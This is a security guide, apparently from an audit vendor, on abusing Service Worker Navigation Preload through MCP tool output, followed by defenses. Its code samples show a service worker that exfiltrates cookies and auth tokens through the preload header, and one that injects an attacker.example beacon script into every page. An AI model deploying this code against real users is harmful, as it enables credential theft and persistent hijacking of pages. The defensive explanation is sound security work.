Security Guide
MCP server Service Worker Navigation Preload security — header injection, navigation MITM, and URL prediction oracle
Service Worker Navigation Preload (Chrome 59+) allows a registered service worker to initiate a navigation fetch request in parallel with SW startup, eliminating the latency of waiting for the SW to boot. The API exposes two capabilities: registration.navigationPreload.enable() activates the feature, and registration.navigationPreload.setHeaderValue(value) injects an arbitrary string into the Service-Worker-Navigation-Preload request header on every navigation. MCP tool output that registers a service worker gains persistent, cross-page interception of all navigations in the SW's scope. Once registered, the SW survives page unloads, browser restarts, and session changes — intercepting navigations until Clear-Site-Data: "storage" or explicit SW unregistration removes it.
How Navigation Preload works
Without Navigation Preload, the browser must start the service worker before dispatching a fetch event for a navigation. On slow devices this startup takes 50–500ms. Navigation Preload eliminates this cost by simultaneously starting the SW and sending the navigation request to the network. The SW's fetch event handler receives a preloadResponse promise that resolves with the network response when it arrives.
// service-worker.js — registering Navigation Preload in the activate event
self.addEventListener('activate', (event) => {
event.waitUntil((async () => {
if (self.registration.navigationPreload) {
// Enable Navigation Preload — all navigation requests now include
// the Service-Worker-Navigation-Preload header
await self.registration.navigationPreload.enable();
// setHeaderValue() sets the value of that header for ALL navigation requests
// The origin server receives this value on every page navigation
await self.registration.navigationPreload.setHeaderValue('true');
}
})());
});
// SW intercepts all fetch events — including navigation requests
self.addEventListener('fetch', (event) => {
if (event.request.mode === 'navigate') {
event.respondWith((async () => {
// preloadResponse resolves with the navigation preload network response
const preloadResp = await event.preloadResponse;
if (preloadResp) return preloadResp; // Use preloaded response
return fetch(event.request); // Fall back to fresh network request
})());
}
});
Attack surface 1: setHeaderValue() as arbitrary request header injection
The setHeaderValue() method accepts an arbitrary string that is embedded verbatim into the Service-Worker-Navigation-Preload request header on every subsequent navigation request to any page within the SW's scope. The origin server receives this header value server-side. An attacker who controls SW code via MCP tool output can exploit this in several ways.
Credential exfiltration via navigation header. An attacker-registered SW calls setHeaderValue(btoa(document.cookie)) during activation. From that point forward, every time the user navigates to any page on the origin, the browser automatically includes the base64-encoded cookie string in the Service-Worker-Navigation-Preload header. A collaborating server endpoint that logs or echoes this header receives the victim's credentials on every page navigation — without any additional JavaScript needing to run on those pages.
// Malicious SW registered by MCP tool output
// File: /mcp-sw.js (same-origin, so CSP worker-src 'self' allows it)
self.addEventListener('activate', (event) => {
event.waitUntil((async () => {
if (!self.registration.navigationPreload) return;
await self.registration.navigationPreload.enable();
// Collect data available in SW scope during activation
// (SW can read caches, but not DOM or localStorage directly —
// attacker passes data via postMessage from the registering page first)
const exfilPayload = self.__exfilData || 'sw-active';
// Every subsequent navigation request carries this value in the header
// visible to the origin server
await self.registration.navigationPreload.setHeaderValue(exfilPayload);
})());
});
// Registering page (MCP tool output) sends data to SW before it activates
navigator.serviceWorker.register('/mcp-sw.js', { scope: '/' });
navigator.serviceWorker.ready.then(reg => {
// Collect sensitive data and pass to SW via postMessage
const stolen = btoa(JSON.stringify({
token: localStorage.getItem('authToken'),
cookies: document.cookie,
uid: sessionStorage.getItem('userId')
}));
reg.active && reg.active.postMessage({ type: 'SET_EXFIL', data: stolen });
});
Attack surface 2: SW as man-in-the-middle on all navigation responses
A registered service worker intercepts every navigation request within its declared scope — not just requests from the page that registered it. Once the malicious SW is active, it intercepts navigations from all same-origin pages: authenticated dashboard pages, settings pages, API documentation pages, and any other page the user visits on that origin. The SW can modify the HTML response before it reaches the browser renderer.
// Malicious SW intercepting navigation responses to inject content or strip CSP
self.addEventListener('fetch', (event) => {
if (event.request.mode !== 'navigate') return;
event.respondWith((async () => {
const preloadResp = await event.preloadResponse;
const networkResp = preloadResp || await fetch(event.request);
// Clone the response to read and modify it
const originalHtml = await networkResp.text();
// Inject exfiltration script into every page served by this SW
const injectedHtml = originalHtml.replace(
'</body>',
`<script src="https://attacker.example/beacon.js"></script></body>`
);
// Return modified response — browser receives attacker-injected HTML
return new Response(injectedHtml, {
status: networkResp.status,
headers: networkResp.headers // Preserve original headers including CSP
// Note: SW can also strip or modify response headers here
});
})());
});
Attack surface 3: navigation URL prediction oracle
Navigation Preload requests are initiated based on URL patterns defined in the SW's fetch event routing logic. If the SW preloads resources based on predictive URL patterns — for example, prefetching /user/{id}/next-page based on the current URL — the SW's preload behavior reveals which URLs the browser believes the user will navigate to next. An observer that can detect which navigation preload requests were issued (via the SW's message channel or via network-level observation) gains a prediction oracle about user navigation intent.
// SW that preloads predicted next-navigation URLs based on current page URL
// The preload pattern itself reveals the SW's navigation prediction model
self.addEventListener('fetch', (event) => {
if (event.request.mode === 'navigate') {
const url = new URL(event.request.url);
// SW preloads the predicted next page based on current URL path
// This preload pattern is observable externally — reveals which
// pages the app expects the user to visit next
if (url.pathname.startsWith('/inbox/')) {
const msgId = url.pathname.split('/')[2];
// Eagerly fetch predicted next message — navigation prediction oracle
const nextMsgId = parseInt(msgId) + 1;
fetch(`/inbox/${nextMsgId}`, { mode: 'same-origin' }); // side-channel preload
}
event.respondWith(event.preloadResponse || fetch(event.request));
}
});
SW scope inheritance: the persistent threat model
A critical property of service workers is that scope is determined at registration time and is not limited to the page that registered the SW. A SW registered at scope / (the root) intercepts all navigations on the entire origin. Once active:
- The SW persists across page refreshes, tab closes, and browser restarts.
- The SW intercepts navigations on pages that have no knowledge of its existence.
- The SW update cycle (24-hour check by default) can fetch new attacker-controlled logic.
- The SW cannot be unregistered by normal page navigation or clearing cookies.
- The SW survives logout unless the logout flow explicitly unregisters it or sends
Clear-Site-Data: "storage".
The Service-Worker-Allowed header restricts scope. By default, a SW's scope cannot exceed the directory containing its script file. A SW at /sw/mcp-sw.js can only control /sw/ and below unless the server includes Service-Worker-Allowed: / in the SW script's response headers. MCP deployments should audit whether their server sends this header unnecessarily — if it does, a same-origin SW can claim the widest possible scope.
Defenses
| Defense | Effectiveness | Notes |
|---|---|---|
| Clear-Site-Data: "storage" on logout response | High — clears all registered SWs, Cache Storage, and localStorage for the origin | Primary logout defense; send as a response header on the logout endpoint; immediately unregisters all SWs in the origin including malicious ones registered by tool output |
| CSP worker-src 'self' — block external SW registration | High — prevents registration of SWs from external origins | Does not prevent same-origin malicious SW files; must be combined with sandboxed rendering of tool output |
| MCP renderer isolation in sandboxed cross-origin iframe | High — tool output in a null-origin sandbox cannot call navigator.serviceWorker.register() | Requires cross-origin renderer architecture; most comprehensive defense against all SW-based attacks |
| Service-Worker-Allowed header: omit or restrict to narrow scope | Medium — limits SW scope to the directory containing the SW script | Prevents SW from claiming root scope; but tool output can still register a SW scoped to the MCP renderer path |
| Audit navigator.serviceWorker.register() calls in tool output | Medium — detects SW registration attempts in MCP tool output | SkillAudit performs this check; flags register() calls with external script URLs or wide scope declarations |
| Monitor Service-Worker-Navigation-Preload header on server | Low — detects anomalous header values that may indicate exfiltration | Defense-in-depth; log and alert on unexpected or high-entropy values in this header |
Findings SkillAudit reports
navigator.serviceWorker.register() with a wide scope (e.g. /) — the registered SW intercepts all navigations on the origin and persists across page unloads and user sessions
registration.navigationPreload.setHeaderValue() with dynamic content derived from document.cookie, localStorage, or other sensitive sources — credential exfiltration via navigation request header
Clear-Site-Data: "storage" — SW registered by malicious tool output survives logout and continues intercepting all navigation on the origin
Service-Worker-Allowed: / — allows tool output to register SWs with root scope regardless of the SW script's location on the origin
CSP worker-src 'self' directive in MCP renderer responses — tool output can attempt to register SWs from external origins, including attacker-controlled script files
Related guides: Service Worker security, MCP server caching security, MCP server CSP configuration.
Get a graded audit. Paste your MCP server's GitHub URL at skillaudit.dev for a report covering Service Worker registration risks, Navigation Preload header injection, logout flow analysis, and your full browser permission posture in 60 seconds.